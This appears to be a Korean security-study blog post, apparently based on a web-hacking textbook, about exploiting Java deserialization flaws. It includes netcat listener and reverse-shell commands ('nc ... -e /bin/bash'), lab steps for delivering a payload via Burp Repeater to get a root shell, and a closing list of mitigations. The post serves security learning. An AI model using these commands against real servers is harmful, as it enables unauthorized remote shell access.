보안
Chapter 17. 자바 역직렬화 취약점 공격
qbang
2019. 3. 14. 10:02
자바 역직렬화 취약점 공격 개요
- 저장되어 있는 바이트 스트림을 다시 객체로 만들어 원래의 데이터를 다시 불러오는 과정
- aced0005라는 문자열은 직렬화된 데이터의 앞에 항상 나타나는 문자열로, 매직 바이트임
자바 역직렬화 취약점 공격 실습
- 저장되어 있는 바이트 스트림을 다시 객체
- 전송되고 있는 파일의 타입을 통해 직렬화된 데이터를 발견
- 직화된 데이터가 있군
nc -lvnp 4000 |
- 서버로 실행해두기
nc 칼리리눅스 주소 4000 -e /bin/bash |
- nc 접속을 위한 명령문
- 원하는 명령어를 실행할 수 있는 공격 코드 만들기 위해서 공격코드를 reverse.bin 파일로 생성
- 다시 요청하기 위해 Repeater로 전송하고 파일의 바디 부분에서 paste from file을 선택한 뒤 좀 전에 만든 reverse.bin을 선택해줌
- id를 입력하면 root 사용자의 권한으로 쉘이 생성된 것을 확인할 수 있음
자바 역직렬화 취약점 공격 대응
- 일일히 패키지를 확인하여 업데이트하는 것은 어렵기 때문에, 프레임워크를 비롯한 웹 애플리케이션 개발을 위해 사용하는 구성요소들을 항상 최신 버전으로 유지할 것
- 역직렬화 전에 반드시 인증 과정 수행 or 격리된 환경에서 수행
- 출처를 알 수 없는 개체의 경우 역직렬화 수행x
- 직렬화된 객체에 디지털 서명을 하도록 하여 무결성 검증
해당 포스팅은 '화이트해커를 위한 웹 해킹의 기술' 책 내용을 바탕으로 작성되었습니다.